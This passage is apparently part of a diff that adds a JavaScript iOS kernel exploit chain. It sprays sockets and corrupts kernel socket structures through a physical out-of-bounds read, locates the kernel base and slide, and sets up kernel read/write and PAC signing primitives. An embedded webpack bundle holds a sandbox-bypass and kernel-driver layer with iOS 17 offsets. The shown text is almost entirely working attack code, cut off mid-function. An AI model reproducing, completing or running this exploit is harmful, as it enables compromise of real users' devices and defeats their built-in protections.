VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_allocate failed!!!"); + exit(0n); + } + for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { + uwrite64(search_mapping_address + k, random_marker); + } + surface_mlock(search_mapping_address, search_mapping_size); + let memory_object = new_bigint(); + let memory_object_size = BigInt(search_mapping_size); + kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != 0n) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + socket_ports = []; + socket_pcb_ids = []; + socket_ports_count = 0n; + let max_sockets_count = 0x5800n; + let split_count = 8n; + let wired_pages = []; + let success = false; + let seeking_offset = 0n; + while (seeking_offset < search_mapping_size) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr != KERN_SUCCESS) { + seeking_offset += PAGE_SIZE; + continue; + } + if (uread64(read_buffer) == wired_page_marker) { + let wired_page = uread64(read_buffer + 0x8n); + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found wired_page: ${wired_page.hex()}`); + if (wired_pages.indexOf(wired_page) == -1) { + wired_pages.push(wired_page); + let idx = wired_mapping_entries_addresses.indexOf(wired_page); + wired_mapping_entries_addresses.splice(idx, 1); + uwrite64(wired_page, 0n); + uwrite64(wired_page + 0x8n, 0n); + } else { + LOG(`[-] Found old wired page!!!!`); + seeking_offset += PAGE_SIZE; + continue; + } + kr = mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); + if (kr != KERN_SUCCESS) { + LOG(`[-] Failed to deallocate wired page!!!!`); + } + for (let socket_count = 0n; socket_count < max_sockets_count / split_count; socket_count++) { + let port = spray_socket(socket_ports, socket_pcb_ids); + if (port == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); + break; + } else { + socket_ports_count++; + } + } + if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, true) == KERN_SUCCESS) { + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Reallocated PCB page`); + success = true; + break; + } else { + if (socket_ports_count >= max_sockets_count) { + sockets_release(); + LOG("[+] waiting for zone trimming..."); + sleep(20n); + } + seeking_offset = 0n; + } + } else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found PCB page`); + success = true; + break; + } else { + seeking_offset += PAGE_SIZE; + } + } + kr = mach_port_deallocate(mach_task_self(), memory_object); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_port_deallocate failed!!!"); + exit(0n); + } + sockets_release(); + kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); + if (success == true) { + break; + } + } + for (let i = 0n; i < BigInt(wired_mapping_entries_addresses.length); i++) { + let wired_page = wired_mapping_entries_addresses[i]; + mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); + } + } + function pe() { + let device_machine = get_device_machine(); + if (strstr(device_machine, get_cstring("iPhone17,")) != 0n) { + LOG("[+] Running on A18 Devices"); + is_a18_devices = true; + sleep(8n); + pe_init(); + pe_v2(); + } else { + LOG("[+] Running on non-A18 Devices"); + pe_init(); + pe_v1(); + } + LOG(`[+] highiest_success_idx: ${highiest_success_idx}`); + LOG(`[+] success_read_count: ${success_read_count}`); + uwrite64(go_sync_ptr, 0n); + uwrite64(race_sync_ptr, 1n); + js_thread_join(free_thread_jsthread); + close(write_fd); + close(read_fd); + control_socket_pcb = early_kread64(rw_socket_pcb + 0x20n); + let pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38n); + let ipi_zone = early_kread64(pcbinfo_pointer + 0x68n); + let zv_name = early_kread64(ipi_zone + 0x10n); + kernel_base = zv_name & 0xFFFFFFFFFFFFC000n; + while (true) { + if (early_kread64(kernel_base) == 0x100000cfeedfacfn) { + if (early_kread64(kernel_base + 0x8n) == 0xc00000002n) { + break; + } + } + kernel_base -= PAGE_SIZE; + } + kernel_slide = kernel_base - 0xfffffff007004000n; + krw_sockets_leak_forever(); + } + mpd_js_thread_spawn = js_thread_spawn; + mpd_js_thread_join = js_thread_join; + mpd_pe = pe; + mpd_kread64 = early_kread64; + mpd_kwrite64 = early_kwrite64; + mpd_kwrite_length = kwrite_length; + mpd_kread_length = kread_length; + mpd_kwrite_zone_element = kwrite_zone_element; + mpd_control_socket = function() { return control_socket; } + mpd_rw_socket = function() { return rw_socket; } + mpd_pacia_gadget = function() { return dyld_signPointer_gadget; } + mpd_kernel_slide = function (addr = 0n) { + return addr + kernel_slide; + }; + mpd_kernel_base = function () { + return kernel_base; + }; + pe(); + + LOG("[+] PE Post-Exploitation !!!"); + LOG(`[+] kernel_base: ${mpd_kernel_base().hex()}`); + LOG(`[+] kernel_slide: ${mpd_kernel_slide().hex()}`); + let main = {}; + main.chainData = { + "chosenOffsets": null + } + + try { + /******/ (() => { // webpackBootstrap +/******/ "use strict"; +/******/ var __webpack_modules__ = ({ + +/***/ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js": +/*!*****************************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js ***! + \*****************************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("/******/ (() => { // webpackBootstrap\n/******/ \t\"use strict\";\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ \"./src/libs/Chain/Chain.js\":\n/*!*********************************!*\\\n !*** ./src/libs/Chain/Chain.js ***!\n \\*********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Chain)\n/* harmony export */ });\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n\n\nconst TAG = \"CHAIN\"\n\nclass Chain\n{\n\tstatic #driver;\n\tstatic #mutex;\n\n\tstatic init(driver, mutex=null)\n\t{\n\t\tthis.#driver = driver;\n\t\tthis.#mutex = mutex;\n\t}\n\n\tstatic destroy()\n\t{\n\t\tthis.#driver.destroy();\n\t}\n\n\tstatic runPE()\n\t{\n\t\treturn this.#driver.runPE();\n\t}\n\n\tstatic getKernelBase()\n\t{\n\t\treturn this.#driver.getKernelBase();\n\t}\n\n\tstatic getSelfTaskAddr()\n\t{\n\t\treturn this.#driver.getSelfTaskAddr();\n\t}\n\n\tstatic read(srcAddr, dst, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.read(srcAddr, dst, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic write(dst, src, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.write(dst, src, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic readBuff(srcAddr, len)\n\t{\n\t\tif (!this.read(srcAddr, Native.mem, len))\n\t\t\treturn false;\n\t\treturn Native.read(Native.mem, len);\n\t}\n\n\tstatic read8(src)\n\t{\n\t\tthis.read(src, Native.mem, 1);\n\t\treturn Native.read8(Native.mem);\n\t}\n\n\tstatic read16(src)\n\t{\n\t\tthis.read(src, Native.mem, 2);\n\t\treturn Native.read16(Native.mem);\n\t}\n\n\tstatic read32(src)\n\t{\n\t\tthis.read(src, Native.mem, 4);\n\t\treturn Native.read32(Native.mem);\n\t}\n\n\tstatic read64(src)\n\t{\n\t\tthis.read(src, Native.mem, 8);\n\t\treturn Native.read64(Native.mem);\n\t}\n\n\tstatic write8(dst, value)\n\t{\n\t\tNative.write8(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 1);\n\t}\n\n\tstatic write16(dst, value)\n\t{\n\t\tNative.write16(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 2);\n\t}\n\n\tstatic write32(dst, value)\n\t{\n\t\tNative.write32(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 4);\n\t}\n\n\tstatic write64(dst, value)\n\t{\n\t\tNative.write64(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 8);\n\t}\n\n\tstatic offsets()\n\t{\n\t\treturn this.#driver.offsets();\n\t}\n\n\tstatic strip(val)\n\t{\n\t\treturn this.#driver.strip(val);\n\t}\n\n\tstatic writeZoneElement(dstAddr,src,len)\n\t{\n\t\treturn this.#driver.writeZoneElement(dstAddr, src, len);\n\t}\n\n\tstatic getPaciaGadget()\n\t{\n\t\treturn this.#driver.getPaciaGadget();\n\t}\n\tstatic getClearPaciaGadget()\n\t{\n\t\treturn this.#driver.getClearPaciaGadget();\n\t}\n\n\tstatic transferRW()\n\t{\n\t\tlet rwCtx = this.#driver.transferRW();\n\t\tlet controlSocket = rwCtx.controlSocket;\n\t\tlet rwSocket = rwCtx.rwSocket;\n\t\tconsole.log(TAG, \"controlSocket: \" + controlSocket);\n\t\tconsole.log(TAG, \"rwSocket: \" + rwSocket);\n\n\t\tlet portPtr = Native.mem;\n\t\tNative.callSymbol(\"fileport_makeport\", controlSocket, portPtr);\n\t\tlet controlPort = Native.read32(portPtr);\n\n\t\tNative.callSymbol(\"fileport_makeport\", rwSocket, portPtr);\n\t\tlet rwPort = Native.read32(portPtr);\n\n\t\treturn {\n\t\t\tcontrolPort: controlPort,\n\t\t\trwPort: rwPort,\n\t\t\tcontrolSocket: controlSocket,\n\t\t\trwSocket: rwSocket\n\t\t};\n\t}\n\n\tstatic threadSpawn(scriptCFString, threadMem) {\n\t\tthis.#driver.threadSpawn(scriptCFString, threadMem);\n\t}\n\n\tstatic testKRW() {\n\t\tconsole.log(TAG, \"Testing KRW\");\n\t\tconsole.log(TAG, \"- kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getKernelBase()));\n\t\tconsole.log(TAG, \"- PACIA gadget: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getPaciaGadget()));\n\t\tconsole.log(TAG, \"- Read kernel magic (4 bytes)\");\n\n\t\tlet buff = this.readBuff(this.getKernelBase(), 4);\n\t\tif (!buff) {\n\t\t\tconsole.log(TAG, \"kernel RW not working!\");\n\t\t\treturn false;\n\t\t}\n\t\tlet buff32 = new Uint32Array(buff);\n\t\tconsole.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(buff32[0])}`);\n\n\t\tif (buff32[0] != 0xfeedfacf) {\n\t\t\tconsole.log(TAG, \"Invalid magic!\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tstatic #mutexLock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_lock\", this.#mutex);\n\t}\n\n\tstatic #mutexUnlock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_unlock\", this.#mutex);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/Native.js\":\n/*!**********************************!*\\\n !*** ./src/libs/Chain/Native.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Native)\n/* harmony export */ });\nconst RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;\n\nclass Native {\n\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\n\tstatic {\n\t\tthis.mem = this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.callSymbol(\"malloc\", 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tlet buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", ptr, buffPtr, buff.byteLength);\n\t}\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic read(ptr, length) {\n\t\tlet buffRes = new ArrayBuffer(length);\n\t\tlet buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", buffPtr, ptr, length);\n\t\treturn buffRes;\n\t}\n\n\tstatic read8(ptr) {\n\t\tlet buff = this.read(ptr, 1);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint8(0);\n\t}\n\n\tstatic read16(ptr) {\n\t\tlet buff = this.read(ptr, 2);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint16(0, true);\n\t}\n\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint32(0, true);\n\t}\n\n\tstatic read64(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\n\tstatic readPtr(ptr) {\n\t\treturn this.read64(ptr);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\n\tstatic write8(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(1);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint8(0, value);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write16(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(2);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint16(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write64(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(8);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic writeString(ptr, str) {\n\t\t//const buff = this.stringToBytes(str, true);\n\t\t//this.write(ptr, buff);\n\t\tthis.callSymbol(\"memcpy\", ptr, str, str.length + 1);\n\t}\n\n\tstatic getCString(str) {\n\t\treturn get_cstring(str);\n\t}\n\n\tstatic #prepareArg(arg) {\n\t\tif(!arg)\n\t\t\targ = 0n;\n\t\tif(typeof(arg) === \"string\")\n\t\t\treturn get_cstring(arg);\n\t\treturn BigInt(arg);\n\t}\n\n\tstatic strip(address) {\n\t\treturn address & 0x7fffffffffn;\n\t}\n\n\tstatic pacia(address, modifier) {\n\t\taddress = Native.strip(address);\n\t\t//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);\n\t\tlet signedAddress = pacia(address, BigInt(modifier));\n\t\t//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);\n\t\treturn signedAddress;\n\t}\n\n\tstatic dlsym(name) {\n\t\treturn Native.callSymbol(\"dlsym\", RTLD_DEFAULT, name);\n\t}\n\n\tstatic callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\tlet funcSymbol = null;\n\t\tif(name === \"dlysm\")\n\t\t\tfuncSymbol = DLSYM;\n\t\telse\n\t\t\tfuncSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name));\n\t\ta0 = this.#prepareArg(a0);\n\t\ta1 = this.#prepareArg(a1);\n\t\ta2 = this.#prepareArg(a2);\n\t\ta3 = this.#prepareArg(a3);\n\t\ta4 = this.#prepareArg(a4);\n\t\ta5 = this.#prepareArg(a5);\n\t\ta6 = this.#prepareArg(a6);\n\t\ta7 = this.#prepareArg(a7);\n\t\ta8 = this.#prepareArg(a8);\n\t\ta9 = this.#prepareArg(a9);\n\t\ta10 = this.#prepareArg(a10);\n\t\ta11 = this.#prepareArg(a11);\n\t\ta12 = this.#prepareArg(a12);\n\t\ta13 = this.#prepareArg(a13);\n\t\ta14 = this.#prepareArg(a14);\n\t\ta15 = this.#prepareArg(a15);\n\t\tlet chosen_fcall = null;\n\t\tif(typeof fcall_with_pacia !== 'undefined')\n\t\t\tchosen_fcall = fcall_with_pacia;\n\t\telse\n\t\t\tchosen_fcall = fcall;\n\t\tconst ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\tif (ret64 == 0xffffffffffffffffn)\n\t\t\treturn -1;\n\t\treturn ret64;\n\t}\n\n\tstatic callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\treturn Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15);\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i>= 8n;\n\t\t}\n\t\treturn a.buffer;\n\t}\n\tstatic gc() {\n\t}\n}\n\n// Register global Native class\nglobalThis.Native = Native;\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/OffsetsStruct.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Chain/OffsetsStruct.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ OffsetsStruct)\n/* harmony export */ });\nconst OFFSET_KERNEL_BASE = 0xfffffff007004000n\n//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max\n//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max\nconst OFFSET_KERNEL_TASK = 0x0n\nconst OFFSET_TASK_MAP = 0x28n\nconst OFFSET_TASK_NEXT = 0x30n\nconst OFFSET_TASK_PREV = 0x38n\nconst OFFSET_TASK_THREADS = 0x58n\nconst OFFSET_TASK_IPC_SPACE = 0x300n\nconst OFFSET_TASK_PROC_RO = 0x3a0n\nconst OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1\nconst OFFSET_TASK_EXC_GUARD = 0x5d4n\n\nconst OFFSET_IPC_SPACE_TABLE = 0x20n\nconst OFFSET_IPC_ENTRY_OBJECT =\t0x0n\nconst OFFSET_IPC_OBJECT_KOBJECT = 0x48n\nconst OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n\nconst OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n\n\nconst OFFSET_PROC_PID = 0x60n\nconst OFFSET_PROC_P_COMM = 0x568n\n\nconst OFFSET_THREAD_OPTIONS = 0x70n\nconst OFFSET_THREAD_KSTACKPTR = 0xf0n\nconst OFFSET_THREAD_ROP_PID = 0x160n\nconst OFFSET_THREAD_JOP_PID = 0x168n\nconst OFFSET_THREAD_GUARD_EXC_CODE = 0x330n\nconst OFFSET_THREAD_TASK_THREADS = 0x370n\nconst OFFSET_THREAD_TRO = 0x380n\nconst OFFSET_THREAD_AST = 0x3a4n\nconst OFFSET_THREAD_MUTEX_DATA = 0x3b0n\nconst OFFSET_THREAD_CTID = 0x430n\n\nconst OFFSET_TRO_TASK = 0x20n\n\nconst OFFSET_VM_HDR_RBH_ROOT = 0x38n\nconst OFFSET_VM_RBE_LEFT = 0x0n\nconst OFFSET_VM_RBE_RIGHT = 0x8n\n\nconst OFFSET_VM_OBJECT_VOU_SIZE = 0x18n\nconst OFFSET_VM_OBJECT_REF_COUNT = 0x28n\n\nconst OFFSET_VM_NAMED_ENTRY_COPY = 0x10n\nconst OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n\n\nconst OFFSET_MIG_LOCK = 0x0n;\nconst OFFSET_MIG_SBXMSG = 0x0n;\nclass OffsetsStruct\n{\n\tconstructor() {\n\t\tthis.baseKernel = OFFSET_KERNEL_BASE;\n\t\tthis.kernelTask = OFFSET_KERNEL_TASK;\n\t\tthis.T1SZ_BOOT = 17n;\n\n\t\tthis.mapTask = OFFSET_TASK_MAP;\n\t\tthis.nextTask = OFFSET_TASK_NEXT;\n\t\tthis.prevTask = OFFSET_TASK_PREV;\n\t\tthis.threads = OFFSET_TASK_THREADS;\n\t\tthis.ipcSpace = OFFSET_TASK_IPC_SPACE;\n\t\tthis.procRO = OFFSET_TASK_PROC_RO;\n\t\tthis.procSize = OFFSET_TASK_PROC_SIZE;\n\t\tthis.excGuard = OFFSET_TASK_EXC_GUARD;\n\n\t\tthis.spaceTable = OFFSET_IPC_SPACE_TABLE;\n\t\tthis.entryObject = OFFSET_IPC_ENTRY_OBJECT;\n\t\tthis.objectKObject = OFFSET_IPC_OBJECT_KOBJECT;\n\t\tthis.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST;\n\t\tthis.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS;\n\n\t\tthis.pid = OFFSET_PROC_PID;\n\t\tthis.pComm = OFFSET_PROC_P_COMM;\n\n\t\tthis.options = OFFSET_THREAD_OPTIONS;\n\t\tthis.kstackptr = OFFSET_THREAD_KSTACKPTR;\n\t\tthis.ropPid = OFFSET_THREAD_ROP_PID;\n\t\tthis.jopPid = OFFSET_THREAD_JOP_PID;\n\t\tthis.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE;\n\t\tthis.taskThreads = OFFSET_THREAD_TASK_THREADS;\n\t\tthis.tro = OFFSET_THREAD_TRO;\n\t\tthis.ast = OFFSET_THREAD_AST;\n\t\tthis.mutexData = OFFSET_THREAD_MUTEX_DATA;\n\t\tthis.ctid = OFFSET_THREAD_CTID;\n\n\t\tthis.troTask = OFFSET_TRO_TASK;\n\n\t\tthis.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT;\n\t\tthis.rbeLeft = OFFSET_VM_RBE_LEFT;\n\t\tthis.rbeRight = OFFSET_VM_RBE_RIGHT;\n\n\t\tthis.vouSize = OFFSET_VM_OBJECT_VOU_SIZE;\n\t\tthis.refCount = OFFSET_VM_OBJECT_REF_COUNT;\n\n\t\tthis.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY;\n\t\tthis.next = OFFSET_VM_NAMED_ENTRY_NEXT;\n\t\tthis.migLock = OFFSET_MIG_LOCK;\n\t\tthis.migSbxMsg = OFFSET_MIG_SBXMSG;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/DriverNewThread.js\":\n/*!********************************************!*\\\n !*** ./src/libs/Driver/DriverNewThread.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DriverNewThread)\n/* harmony export */ });\n/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ \"./src/libs/Driver/Offsets.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n\n\n\n\nconst TAG = \"DRIVER-NEWTHREAD\"\n\nconst EARLY_KRW_LENGTH = 0x20n;\nconst IPPROTO_ICMPV6 = 58n;\nconst ICMP6_FILTER = 18n;\n\nclass DriverNewThread\n{\n\t#offsets;\n\t#controlSocket;\n\t#rwSocket;\n\t#kernelBase;\n\t#paciaGadget;\n\t#tmpWriteMem;\n\n\tconstructor(controlSocket, rwSocket, kernelBase, paciaGadget=0n) {\n\t\tthis.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getByDeviceAndVersion();\n\t\tthis.#controlSocket = controlSocket;\n\t\tthis.#rwSocket = rwSocket;\n\t\tthis.#kernelBase = kernelBase;\n\t\tthis.#paciaGadget = paciaGadget;\n\t\tthis.#tmpWriteMem = Native.callSymbol(\"malloc\", EARLY_KRW_LENGTH);\n\n\t\tconsole.log(TAG, `Got RW context: ${this.#controlSocket}, ${this.#rwSocket}`);\n\t}\n\n\tdestroy() {\n\t\tconsole.log(TAG, \"Destroy\");\n\t\tNative.callSymbol(\"free\", this.#tmpWriteMem);\n\t\tNative.callSymbol(\"close\", this.#controlSocket);\n\t\tNative.callSymbol(\"close\", this.#rwSocket);\n\t}\n\n\tread(srcAddr, dst, len) {\n\t\t//console.log(TAG, `read(${Utils.hex(srcAddr)}, ${len})`);\n\t\tsrcAddr = this.strip(srcAddr);\n\t\tif (srcAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(srcAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kreadLength(srcAddr, dst, len);\n\t}\n\n\twrite(dst, src, len) {\n\t\tlet dstAddr = this.strip(dst);\n\t\tif (dstAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot write: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(dstAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kwriteLength(dst, src, len);\n\t}\n\n\twriteZoneElement(dst, src, len) {\n\t\tconst CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n;\n\n\t\tif (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\tconsole.log(TAG, \"writeZoneElement supports only zone element size >= 0x20\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet write_size = 0n;\n\t\tlet write_offset = 0n;\n\n\t\tlet remaining = BigInt(len);\n\t\twhile (remaining != 0n) {\n\t\t\twrite_size = (remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) ?\n\t\t\t\tCHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : (remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE);\n\n\t\t\tlet kwrite_dst_addr = (dst + write_offset);\n\t\t\tlet kwrite_src_addr = (src + write_offset);\n\n\t\t\tif (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\t\tlet adjust = (CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size);\n\t\t\t\tkwrite_dst_addr -= adjust;\n\t\t\t\tkwrite_src_addr -= adjust;\n\t\t\t}\n\t\t\tif (!this.#kwriteLength(kwrite_dst_addr,kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstrip(val) {\n\t\t//return val & 0x7fffffffffn;\n\t\treturn val | 0xffffff8000000000n;\n\t}\n\n\toffsets() {\n\t\treturn this.#offsets;\n\t}\n\n\tgetPaciaGadget() {\n\t\treturn this.#paciaGadget;\n\t}\n\n\tgetKernelBase() {\n\t\treturn this.#kernelBase;\n\t}\n\t\n\tgetSelfTaskAddr() {\n\t\tconsole.log(TAG, `getSelfTaskAddr`);\n\n\t\tlet selfTaskKaddr = 0;\n\t\tfor (let i=0; i<5; i++)\n\t\t{\n\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(true);\n\t\t\tif (!selfTaskKaddr)\n\t\t\t{\n\t\t\t\tconsole.log(TAG, `Searching the other way around`);\n\t\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(false);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tNative.callSymbol(\"usleep\",20000);\n\t\t}\n\t\treturn selfTaskKaddr;\n\t}\n\n\tthreadSpawn(scriptCFString, threadMem) {\n\t\tconsole.log(TAG, \"threadSpawn() not implemented!\");\n\t\tNative.callSymbol(\"sleep\", 2);\n\t}\n\n\t#findSelfTaskKaddr(direction) {\t\n\t\tlet kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;\n\t\tconsole.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kernelTaskAddr)}`);\n\t\n\t\tlet 